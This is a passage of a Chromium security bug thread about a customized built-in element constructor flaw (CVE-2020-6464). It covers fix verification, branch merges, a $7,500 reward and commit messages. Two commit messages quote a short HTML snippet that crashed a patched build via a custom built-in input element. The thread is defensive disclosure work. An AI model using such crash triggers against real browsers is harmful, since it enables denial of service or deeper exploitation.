[add] https://crrev.com/f5aeb5453ecde0e5291e2a13e341864628cdceed/third_party/blink/web_tests/external/wpt/custom-elements/customized-built-in-constructor-exceptions.html

Comment 33 by [mason...@google.com](#) on Tue, Apr 21, 2020, 6:45 PM EDT Project Member

Clusterfuzz verified fixed in the range 760704:760706, so that's good.

The merge to M83 just landed.

Comment 34 by [ClusterFuzz](#) on Tue, Apr 21, 2020, 11:32 PM EDT Project Member

Status: Verified (was: Fixed)

Labels: ClusterFuzz-Verified

ClusterFuzz testcase 5635770979778560 is verified as fixed in https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=760704:760706

If this is incorrect, please add the ClusterFuzz-Wrong label and re-open the issue.

Comment 35 by [adetaylor@google.com](#) on Mon, Apr 27, 2020, 3:48 PM EDT Project Member

Labels: -Merge-Request-81 Merge-Approved-81

If this is still looking good in Canary, please merge to M81 (branch 4044).

Comment 36 by [natashapabrai@google.com](#) on Mon, Apr 27, 2020, 5:04 PM EDT Project Member

Labels: reward-topanel

[Comment 37](#) by [a_deleted_user](#) on Mon, Apr 27, 2020, 7:17 PM EDT

Still looking good as far as I can tell. No additional bugs, no clusterfuzz, etc.

I'll merge this to 81 (4044) now.

[Comment 38](#) by [bugdroid](#) on Mon, Apr 27, 2020, 9:13 PM EDT Project Member

Labels: -merge-approved-81 merge-merged-81 merge-merged-4044

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src.git/+c866063e245aff38c2d44193a20a0e253a39a1d8>

commit [c866063e245aff38c2d44193a20a0e253a39a1d8](#)

Author: Mason Freed <masonfreed@chromium.org>

Date: Tue Apr 28 01:11:27 2020

Fix customized built-in element constructor behavior

This CL implements two changes:

1. It fixes the implementation to better match the spec for the "create an element for the token" [1] algorithm. Prior to this CL, step 7 of that algorithm was skipping directly to step 6 of the "create an element" [2] algorithm, skipping over step 5 for customized built-in elements. This is now fixed. This case is illustrated by the issue and example at [3] and [4]. This becomes the first test in customized-built-in-constructor-exceptions.html.
2. It updates the comments to match the new behavior discussed in [3] and the [5] spec PR, which changes the return value in the case that a customized built-in element constructor throws an exception. With the change above, that is actually already the behavior. So this is just a comment change. Two new tests are added to customized-built-in-constructor-exceptions.html.

[1] <https://html.spec.whatwg.org/multipage/parsing.html#create-an-element-for-the-token>

[2] <https://dom.spec.whatwg.org/#concept-create-element>

[3] <https://github.com/whatwg/html/issues/5084>

[4] <https://bug.com/4024866>

[5] <https://github.com/whatwg/dom/pull/797>

TBR=masonfreed@chromium.org

(cherry picked from commit [7101418f85a0f17e4f9a35dfe3a9acff76340a93](#))

[Bug-1074060, 4024866](#)

Change-Id: [I814c81991eb5e83501304bcb3d2da476743aef52](#)

Cq-Do-Not-Cancel-Tryjobs: true

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2152986>

Commit-Queue: Mason Freed <masonfreed@chromium.org>

Auto-Submit: Mason Freed <masonfreed@chromium.org>

Reviewed-by: Kent Tamura <ktent@chromium.org>

Cr-Original-Commit-Position: refs/heads/master@{#760705}

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2168800>

Reviewed-by: Mason Freed <masonfreed@chromium.org>

Cr-Commit-Position: refs/branch-heads/4044@{#985}

Cr-Branched-From: [a6d9daf149a473ceea37f629c41d4527bf2055bd-refs/heads/master@{#737173}](#)

[modify] https://crrev.com/c866063e245aff38c2d44193a20a0e253a39a1d8/third_party/blink/renderer/bindings/core/v8/script_custom_element_definition.cc

[modify] https://crrev.com/c866063e245aff38c2d44193a20a0e253a39a1d8/third_party/blink/renderer/core/html/custom/custom_element.cc

[modify] https://crrev.com/c866063e245aff38c2d44193a20a0e253a39a1d8/third_party/blink/renderer/core/html/custom/custom_element_definition.cc

[modify] https://crrev.com/c866063e245aff38c2d44193a20a0e253a39a1d8/third_party/blink/renderer/core/html/parser/html_construction_site.cc

[add] https://crrev.com/c866063e245aff38c2d44193a20a0e253a39a1d8/third_party/blink/web_tests/external/wpt/custom-elements/customized-built-in-constructor-exceptions.html

[Comment 39](#) by natashapabrai@google.com on Thu, Apr 30, 2020, 11:53 AM EDT Project Member

Labels: -reward-topanel reward-unpaid reward-7500

*** Boilerplate reminders! ***

Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.

[Comment 40](#) by natashapabrai@google.com on Thu, Apr 30, 2020, 12:46 PM EDT Project Member

Congrats! The Panel decided to award \$7,500 for this report!

[Comment 41](#) by natashapabrai@google.com on Fri, May 1, 2020, 2:28 PM EDT Project Member

Labels: -reward-unpaid reward-inprocess

[Comment 42](#) by adetaylor@google.com on Mon, May 4, 2020, 2:02 PM EDT Project Member

Labels: Release-4-M81

[Comment 43](#) by adetaylor@chromium.org on Mon, May 4, 2020, 2:21 PM EDT Project Member

Labels: CVE-2020-6464 CVE_description-missing

[Comment 44](#) by ioobe...@gmail.com on Tue, May 5, 2020, 5:11 AM EDT

Thanks team for the prompt fix!

[Comment 45](#) by [bugdroid](#) on Fri, May 8, 2020, 2:46 PM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src.git/+a63217901fcdf99eebce9fdd539b167dbe35c5fa>

commit [a63217901fcdf99eebce9fdd539b167dbe35c5fa](#)

Author: Mason Freed <masonfreed@chromium.org>

Date: Fri May 08 18:42:46 2020

Fix a crash in custom built-in <input> element

Prior to this CL, this code would cause an access violation crash:

```
<script>
customElements.define("my-input",
  class extends HTMLInputElement {},
  { extends: "input" });
</script>
<input is="my-input">
```

because the HTMLInputElement constructor purposely does not construct its input_type_ and input_type_view_ members until the parser calls the InitializeTypeInParsing() function. In the customized built-in element case, this was not getting called prior to attempting to set attributes. This bug was created with the [1] patch, which fixed several issues with custom element construction.

[1] <https://chromium.googlesource.com/chromium/src/+7101418f85a0f17e4f9a35dfe3a9acff76340a93>

[Bug-10789036, 10741050, 10348666](#)

Change-Id: Id932d97d0d518bb28bdd2a7d846973a2a09e536d

Cq-Do-Not-Cancel-Tryjobs: true

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2188935>

Commit-Queue: Mason Freed <masonfreed@chromium.org>

Reviewed-by: Kouhei Ueno <kouhei@chromium.org>

Reviewed-by: Philip Rogers <pdr@chromium.org>

Auto-Submit: Mason Freed <masonfreed@chromium.org>

Cr-Commit-Position: refs/heads/master@{#766912}

[modify] https://crrev.com/a63217901fcaf99eebce9fdd539b167dbe35c5fa/third_party/blink/renderer/core/html/parser/html_construction_site.cc

[modify] https://crrev.com/a63217901fcaf99eebce9fdd539b167dbe35c5fa/third_party/blink/web_tests/external/wpt/custom-elements/customized-built-in-constructor-exceptions.html

Comment 46 by [bugdroid](#) on Mon, May 11, 2020, 5:58 PM EDT Project Member

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src.git/+122c9a71d9392d59a5812bf2dd0cb995f42d7b3a>

commit 122c9a71d9392d59a5812bf2dd0cb995f42d7b3a

Author: Mason Freed <masonfreed@chromium.org>

Date: Mon May 11 21:53:29 2020

Fix a crash in custom built-in <input> element

Prior to this CL, this code would cause an access violation crash:

```
<script>
customElements.define("my-input",
  class extends HTMLInputElement {},
  { extends: "input" });
</script>
<input is="my-input">
```

because the HTMLInputElement constructor purposely does not construct its input_type_ and input_type_view_ members until the parser calls the InitializeTypeInParsing() function. In the customized built-in element case, this was not getting called prior to attempting to set attributes. This bug was created with the [1] patch, which fixed several issues with custom element construction.

[1] <https://chromium.googlesource.com/chromium/src/+7101418f85a0f17e4f9a35dfe3a9acff76340a93>

TBR=masonfreed@chromium.org

(cherry picked from commit [a63217901fcaf99eebce9fdd539b167dbe35c5fa](#))

[Bug-10789036, 10741050, 10348666](#)

Change-Id: Id932d97d0d518bb28bdd2a7d846973a2a09e536d

Cq-Do-Not-Cancel-Tryjobs: true

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2188935>

Commit-Queue: Mason Freed <masonfreed@chromium.org>

Reviewed-by: Kouhei Ueno <kouhei@chromium.org>

Reviewed-by: Philip Rogers <pdr@chromium.org>

Auto-Submit: Mason Freed <masonfreed@chromium.org>

Cr-Original-Commit-Position: refs/heads/master@{#766912}

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2194380>

Reviewed-by: Mason Freed <masonfreed@chromium.org>

Cr-Commit-Position: refs/branch-heads/4103@{#519}

Cr-Branched-From: [8ad47e8d21f6866e4a37f47d83a860d41deb514](#)-refs/heads/master@{#756066}

[modify] https://crrev.com/122c9a71d9392d59a5812bf2dd0cb995f42d7b3a/third_party/blink/renderer/core/html/parser/html_construction_site.cc

[modify] https://crrev.com/122c9a71d9392d59a5812bf2dd0cb995f42d7b3a/third_party/blink/web_tests/external/wpt/custom-elements/customized-built-in-constructor-exceptions.html

Comment 47 by adetaylor@chromium.org on Wed, May 20, 2020, 11:43 PM EDT Project Member

Labels: -CVE_description-missing CVE_description-submitted

Comment 48 by mmoroz@chromium.org on Tue, Jun 30, 2020, 6:40 PM EDT Project Member

Labels: VulnerabilityAnalysis-Requested

[masonfreed@](#), thank you for fixing this issue. Chrome Security team needs your knowledge to prevent that whole class of bugs from happening elsewhere. We would greatly appreciate if you could tell us more about the issue by filling out the following form: <https://forms.gle/VWKDUv9a8GXCCRWm7>

Comment 49 by [a_deleted_user](#) on Tue, Jun 30, 2020, 6:57 PM EDT

Re [comment #48](#), done. :-)

Comment 50 by mmoroz@chromium.org on Tue, Jul 7, 2020, 4:52 PM EDT Project Member

Labels: VulnerabilityAnalysis-Submitted

Comment 51 by [sheriffbot](#) on Tue, Jul 28, 2020, 3:07 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot